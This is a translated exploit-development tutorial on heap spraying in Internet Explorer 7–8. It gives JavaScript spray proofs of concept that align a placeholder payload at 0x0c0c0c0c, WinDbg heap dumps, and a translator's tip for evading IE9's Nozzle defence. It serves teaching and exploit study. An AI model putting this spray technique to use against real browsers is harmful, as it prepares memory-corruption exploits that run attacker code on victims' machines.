返回介绍

堆上的 Shellcode

发布于 2025-01-03 23:32:55 字数 11407 浏览 0 评论 0 收藏 0

如在第八部分中做的那样,我想先以 IE8 的一个可信堆喷射开始。继续此前的工作,我们使用下面的 POC。该 POC 有些轻量改动。最主要的不同在于我增加了一个 alloc 函数,它会将我们输入的 buffer 尺寸进行调整,以便于它们可以匹配 BSTR 的规格(我们需要扣除 6 以补偿 BSTR header 和 footer,除 2 是因为我们用的是 unicode unescape)。

<html>
<script>
 
  //Fix BSTR spec
  function alloc(bytes, mystr) {
    while (mystr.length<bytes) mystr += mystr;
    return mystr.substr(0, (bytes-6)/2);
  }
   
  block_size = 0x1000; // 4096-bytes
  NopSlide = '';
   
  var Shellcode = unescape(
  '%u7546%u7a7a%u5379'+   // ASCII
  '%u6365%u7275%u7469'+   // FuzzySecurity
  '%u9079');
   
  for (c = 0; c < block_size; c++){ 
  NopSlide += unescape('%u9090');}
  NopSlide = NopSlide.substring(0,block_size - Shellcode.length);
   
  var OBJECT = Shellcode + NopSlide;
  OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
   
  var evil = new Array();
  for (var k = 0; k < 150; k++) {
    evil[k] = OBJECT.substr(0, OBJECT.length);
  }
   
  alert("Spray Done!");
   
</script>
</html>

快速看看调试器,堆喷射都发生了什么。

Looking at the default process heap we can see that our spray accounts for 98,24% of the busy blocks, we
can tell it is our spray because the blocks have a size of 0xfffe0 (= 1 mb).

0:019> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
  size   #blocks   total   ( %) (percent of total busy bytes)
  fffe0 97 - 96fed20  (98.24)
  3fff8 3 - bffe8  (0.49)
  7ff8 f - 77f88  (0.30)
  1fff8 3 - 5ffe8  (0.24)
  1ff8 28 - 4fec0  (0.20)
  fff8 3 - 2ffe8  (0.12)
  3ff8 7 - 1bfc8  (0.07)
  ff8 13 - 12f68  (0.05)
  7f8 1e - ef10  (0.04)
  8fc1 1 - 8fc1  (0.02)
  5fc1 1 - 5fc1  (0.02)
  57e0 1 - 57e0  (0.01)
  3f8 15 - 5358  (0.01)
  4fc1 1 - 4fc1  (0.01)
  5e4 b - 40cc  (0.01)
  3980 1 - 3980  (0.01)
  20 1bb - 3760  (0.01)
  388 d - 2de8  (0.01)
  2cd4 1 - 2cd4  (0.01)
  480 7 - 1f80  (0.01)

Listing only the allocation with a size of 0xfffe0 we can see that our spray is huge stretching from
0x03680018 to 0x0d660018. Another important thing to notice is that the Heap Entry Addresses all seem
to end like this 0x????0018, this is a good indicator that our spray is reliable.

0:019> !heap -flt s fffe0
  _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags  UserPtr UserSize - state
    03680018 1fffc 0000  [0b]   03680020  fffe0 - (busy VirtualAlloc)
    03a30018 1fffc fffc  [0b]   03a30020  fffe0 - (busy VirtualAlloc)
    03790018 1fffc fffc  [0b]   03790020  fffe0 - (busy VirtualAlloc)
    038a0018 1fffc fffc  [0b]   038a0020  fffe0 - (busy VirtualAlloc)
    03b40018 1fffc fffc  [0b]   03b40020  fffe0 - (busy VirtualAlloc)
    03c50018 1fffc fffc  [0b]   03c50020  fffe0 - (busy VirtualAlloc)
[...snip...]
    0d110018 1fffc fffc  [0b]   0d110020  fffe0 - (busy VirtualAlloc)
    0d220018 1fffc fffc  [0b]   0d220020  fffe0 - (busy VirtualAlloc)
    0d330018 1fffc fffc  [0b]   0d330020  fffe0 - (busy VirtualAlloc)
    0d440018 1fffc fffc  [0b]   0d440020  fffe0 - (busy VirtualAlloc)
    0d550018 1fffc fffc  [0b]   0d550020  fffe0 - (busy VirtualAlloc)
    0d660018 1fffc fffc  [0b]   0d660020  fffe0 - (busy VirtualAlloc)


0:019> d 03694024-10
03694014  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694024  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
03694034  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694044  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694054  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694064  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694074  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694084  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:019> d 03694024-10+2000
03696014  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696024  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
03696034  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696044  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696054  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696064  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696074  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696084  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:019> d 03694024-10+4000
03698014  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698024  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
03698034  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698044  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698054  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698064  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698074  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698084  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

We are particularly interested in the address 0x0c0c0c0c. Since this address has been allocate on the heap
by our spray we can use the command below we can find out which Heap Entry 0x0c0c0c0c belongs to.

0:019> !heap -p -a 0c0c0c0c
  address 0c0c0c0c found in
  _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags  UserPtr UserSize - state
    0c010018 1fffc 0000  [0b]   0c010020  fffe0 - (busy VirtualAlloc)

下图是我们堆喷射的可视化显示。我们用 150mb 大小的数据填充了堆,这 150mb 被分成了 150 个 1mb 的块(每个块都以独立的 BSTR 对象存储)。该 BSTR 对象由 0x1000(4096 字节)的块填充,它包含了我们的 shellcode 和 NOP 指令。

到目前一切顺利!下面我们需要重组我们的堆喷射,以便于 shellcode 指针精准的放在 0x0c0c0c0c,这里将是我们的 ROP 链首。考虑到由于我们的堆喷射,如果 0x0c0c0c0c 在内存的某个地方被分配了,那么它在 0x1000 块的内部一定有一个特定的偏移。我们想要做的就是计算出 0x0c0c0c0c 到块首的偏移,并把这个偏移作为喷射的 padding。



 ________________________              ________________________
|            |            |            |
|     Shellcode    |            |    Padding     |
|------------------------|            |            |
|            |            |            |
|            |            |            |
|            |            |            |
|            |            |            |
|            | <-- 0x0c0c0c0c     |------------------------| <-- 0x0c0c0c0c
|            |   Points into our  |            |   Points at the 
|     NOP's      |   NOP's.       |     Shellcode    |   beginning of our
|            |            |            |   shellcode.
|            |            |            |
|            |            |            |
|            |            |            |
|            |            |    [+ NOP's]     |
|            |            |            |
|   (0x1000 Block)   |            |   (0x1000 Block)   |
|________________________|            |________________________|

如果你重新运行上面的堆喷射,你会注意到 0x0c0c0c0c 并不总是指向同一个堆项,然而 0x1000 块到 0x0c0c0c0c 的偏移却始终是不变的。我们已经掌握了 padding 尺寸计算的所有信息。

0:019> !heap -p -a 0c0c0c0c
  address 0c0c0c0c found in
  _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags  UserPtr UserSize - state
    0c010018 1fffc 0000  [0b]   0c010020  fffe0 - (busy VirtualAlloc)
    
    
  0x0c0c0c0c (Address we are interested in)
- 0x0c010018 (Heap Entry Address)
  ----------
   0xb0bf4 => Distance between the Heap Entry address and 0x0c0c0c0c, this value will be different from
        spray to spray. Next we need to find out what the offset is in our 0x1000 hex block. We
        can do this by subtracting multiples of 0x1000 till we have a value that is smaller than
        0x1000 hex (4096-bytes).

     0xbf4 => We need to correct this value based on our allocation size => (x/2)-6
     
     0x5f4 => If we insert a padding of this size in our 0x1000 block it will align our shellcode
        exactly to 0x0c0c0c0c.

让我们修改 POC 并重新运行堆喷射。

<html>
<script>
 
  //Fix BSTR spec
  function alloc(bytes, mystr) {
    while (mystr.length<bytes) mystr += mystr;
    return mystr.substr(0, (bytes-6)/2);
  }
   
  block_size = 0x1000;
  padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
  Padding = '';
  NopSlide = '';
   
  var Shellcode = unescape(
  '%u7546%u7a7a%u5379'+   // ASCII
  '%u6365%u7275%u7469'+   // FuzzySecurity
  '%u9079');
   
  for (p = 0; p < padding_size; p++){ 
  Padding += unescape('%ub33f');}
   
  for (c = 0; c < block_size; c++){ 
  NopSlide += unescape('%u9090');}
  NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
   
  var OBJECT = Padding + Shellcode + NopSlide;
  OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
   
  var evil = new Array();
  for (var k = 0; k < 150; k++) {
    evil[k] = OBJECT.substr(0, OBJECT.length);
  }
   
  alert("Spray Done!");
   
</script>
</html>

我们可以看到我们已经重组了 shellcode 到 0x0c0c0c0c。实际上当我们在内存中搜索字符串"FuzzySecurity"时我们可以看到所有的位置都以相同的字节序列"0x???c0c"终止。

0:019> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
  size   #blocks   total   ( %) (percent of total busy bytes)
  fffe0 97 - 96fed20  (98.18)
  3fff8 3 - bffe8  (0.49)
  7ff8 f - 77f88  (0.30)
  1fff8 3 - 5ffe8  (0.24)
  1ff8 2b - 55ea8  (0.22)
  fff8 4 - 3ffe0  (0.16)
  3ff8 8 - 1ffc0  (0.08)
  ff8 13 - 12f68  (0.05)
  7f8 1e - ef10  (0.04)
  8fc1 1 - 8fc1  (0.02)
  5fc1 1 - 5fc1  (0.02)
  57e0 1 - 57e0  (0.01)
  3f8 15 - 5358  (0.01)
  4fc1 1 - 4fc1  (0.01)
  5e4 b - 40cc  (0.01)
  3980 1 - 3980  (0.01)
  20 1bb - 3760  (0.01)
  388 d - 2de8  (0.01)
  2cd4 1 - 2cd4  (0.01)
  480 7 - 1f80  (0.01)
  

0:019> s -a 0x00000000 L?7fffffff "FuzzySecurity"
[...snip...]
0c0c0c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
[...snip...]
0d874c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d876c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d878c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d87ac0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d87cc0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d87ec0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...


0:019> d 0c0c0c0c-20
0c0c0bec  3f b3 3f b3 3f b3 3f b3-3f b3 3f b3 3f b3 3f b3  ?.?.?.?.?.?.?.?.
0c0c0bfc  3f b3 3f b3 3f b3 3f b3-3f b3 3f b3 3f b3 3f b3  ?.?.?.?.?.?.?.?.
0c0c0c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0c0c0c1c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c2c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c3c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c4c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c5c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

我们现在重组了堆喷射,且可以把 shellcode 放到选择的任意地址(本例中是 0x0c0c0c0c)。堆喷射在 Windows XP/7 上的 IE7-8 上运作良好。稍微修改一下也可以在 IE9 上运行,但这已经超出了本教程的范围。

译者注:IE9 引入了 Nozzle,但实际上非常好绕过,Nozzle 不允许毗邻堆块完全一致,绕过方法也很简单,每个 chunk 的 junk 值都不同即可(实际上修改 1 个字节即可)。另一方面,到了 DEP 的时代,0x0c0c0c0c 这个值已经丧失了原本的意义,原本用于 sled 的 0C 指令也就无需执行,改成什么其他的数都是可以的,这也要求我们的堆喷需要十分精准的到 ROP 链首,exactly。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文